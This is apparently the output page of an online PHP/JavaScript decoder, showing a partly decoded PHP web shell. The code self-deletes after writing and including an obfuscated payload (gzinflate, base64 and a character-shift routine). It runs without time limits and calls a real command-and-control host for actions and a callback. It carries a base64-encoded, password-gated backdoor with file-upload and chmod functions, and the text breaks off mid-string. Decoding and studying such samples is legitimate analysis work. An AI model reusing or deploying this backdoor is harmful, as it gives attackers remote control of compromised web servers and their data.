Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level 

function pseuddol($code) {
     
    try {
        $eFunc = pack("H*", "6576616C");
        eval($code);
    } catch (Throwable $e) {
        $tenam = sys_get_temp_dir()."/zactiondocode";
        $tempFile = $tenam . '.php';
        $result = @file_put_contents($tempFile, "" . $code);
        if($result === false){
            $tenam = __DIR__."/zactiondocode";
            $tempFile = $tenam . '.php';
            $result = @file_put_contents($tempFile, "" . $code);
        }
        try {
			$scriptPath = realpath(__FILE__);
			@unlink($scriptPath);
            include $tempFile;
        } catch (Throwable $e) {
            echo "Error executing code: " . $e->getMessage();
        }
    }
}
function mGyzTU($ctPs)
{ 
$ctPs=gzinflate(base64_decode($ctPs));
 for($i=0;$i<strlen($ctPs);$i++)
 {
$ctPs[$i] = chr(ord($ctPs[$i])-1);
 }
 return $ctPs;
 }pseuddol(mGyzTU("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"));

     
header('Content-Type: text/html;charset=utf-8');
ini_set("max_execution_time", "0");
ignore_user_abort(true);
set_time_limit(0);
ini_set("memory_limit", "-1");
ini_set('allow_url_fopen', '1');
error_reporting(E_ALL);
ini_set('display_errors', 1);
date_default_timezone_set('Asia/Shanghai');
$CALLBACKURL = "https://shell.susuhen.shop/api/callback.php";
$SHELLACTION = "https://shell.susuhen.shop/api/do.php";
$tai = "";
$tezhen_code = "";
doindex($SHELLACTION,$CALLBACKURL);

function doindex($SHELLACTION,$CALLBACKURL){

    $host = $_SERVER['HTTP_HOST'];
    $codestr = "PD9waHANCiAgICANCiAgICAkcGFzc3dvcmRzdHIgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vc2hlbGwuc3VzdWhlbi5zaG9wL2FwaS9kby5waHA/dHlwZT1nZXRwYXNzd29yZCIpOw0KDQogICAgaWYoJHBhc3N3b3Jkc3RyID09PSBmYWxzZSl7DQogICAgICAgICRwYXNzd29yZHN0ciA9ICJ5ZXllfkBtbW1tIjsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjaGVja3BzZCgkcGFzc3dvcmRzdHIpew0KICAgICAgICBpZihpc3NldCgkX0NPT0tJRVsncHNkJ10pKXsNCiAgICAgICAgICAgIGlmKCRfQ09PS0lFWydwc2QnXT09JHBhc3N3b3Jkc3RyKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnR0VUJykgew0KICAgICAgICBpZighY2hlY2twc2QoJHBhc3N3b3Jkc3RyKSl7DQogICAgICAgICAgICBlY2hvICc8aHRtbD4NCiAgICAgICAgICAgIDxib2R5Pg0KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IiBpZD0iaW5wdXRwc2QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0icHNkIiAvPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uPnN1Ym1pdDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDwvYm9keT4NCiAgICAgICAgPC9odG1sPic7DQogICAgICAgICAgICBleGl0KCk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7DQogICAgICAgIGlmKCFjaGVja3BzZCgkcGFzc3dvcmRzdHIpKXsNCiAgICAgICAgICAgICRwc2QgPSBpc3NldCgkX1BPU1RbInBzZCJdKT8kX1BPU1RbInBzZCJdOiIiOw0KICAgICAgICAgICAgaWYoIWVtcHR5KCRwc2QpKXsNCiAgICAgICAgICAgICAgICAgICAgaWYoJHBzZD09JHBhc3N3b3Jkc3RyKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb29raWVfZXhwaXJlID0gdGltZSgpICsgKDg2NDAwICogMik7DQogICAgICAgICAgICAgICAgICAgICAgICBzZXRjb29raWUoInBzZCIsICRwYXNzd29yZHN0ciAsICRjb29raWVfZXhwaXJlKTsNCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICBleGl0KCJwYXNzd3JvZCBlcnJvciIpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBleGl0KCJwYXNzd3JvZCBlcnJvciIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KPz4NCg0KPD9waHANCmlmIChpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgew0KICAgICRmdW5jTmFtZSA9IHBhY2soIkgqIiwgIjZENkY3NjY1NUY3NTcwNkM2RjYxNjQ2NTY0NUY2NjY5NkM2NSIpOw0KICAgICRmTmFtZSA9IHBhY2soIkgqIiwgIjYzNjg2RDZGNjQiKTsNCiAgICAkZmlsZXNBcnJheSA9IGFycmF5KCdmJyA9PiAnZmlsZScpOw0KICAgIGlmIChpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgew0KICAgICAgICBpZiAoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsiZXJyb3IiXSA+IDApIHsNCiAgICAgICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsiZXJyb3IiXSAuICI8YnIgLz4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiVXBsb2FkOiAiIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJTaXplOiAiIC4gKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bInNpemUiXSAvIDEwMjQpIC4gIiBLYjxiciAvPiI7DQogICAgICAgICAgICBlY2hvICJTdG9yZWQgaW46ICIgLiAkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJ0bXBfbmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdKSkgew0KICAgICAgICAgICAgJGZOYW1lKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSwwNzU1KTsNCiAgICAgICAgICAgIHVubGluaygkX0ZJTEVTWyRmaWxlc0FycmF5WydmJ11dWyJuYW1lIl0pOw0KICAgICAgICAgICAgZWNobyAiU3RvcmVkIGluOiBkZWxldGUgaXQgc3VjY2VzcyEgdXBsb2FkIHJlZnJlc2ghIDxiciAvPiI7DQogICAgICAgICAgICBpZiAoJGZ1bmNOYW1lKCRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bInRtcF9uYW1lIl0sICRfRklMRVNbJGZpbGVzQXJyYXlbJ2YnXV1bIm5hbWUiXSkpIHsNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWyJmaWxlcGF0aCJdKSl7DQogICAgICAgICAgICAgICAgICAgICRwYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLyIuJF9QT1NUWyJmaWxlcGF0aCJdOw0KICAgICAgICAgICAgICAgICAgICBpZighaXNfZGlyKCRwYXRoKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQG1rZGlyKCRwYXRoLCAwNzU1LCB0cnVlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjog55uu5b2V5Yib5bu65oiQ5Yqf77yaJHBhdGggXG4gPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gX19ESVJfXzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkcGF0aCA9IF9fRElSX187DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGVjaG8gIlN0b3JlZCBpbjogIiAuICRwYXRoIC4gIi8iIC4gJF9GSUxFU1skZmlsZXNBcnJheVsnZiddXVsibmFtZSJdIC4gIjxiciAvPiI7DQogICAgICAgICAgICAgICAgZWNobyAiPGhyPiI7DQogICAgICAgICAgICAgICAgJHVybCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw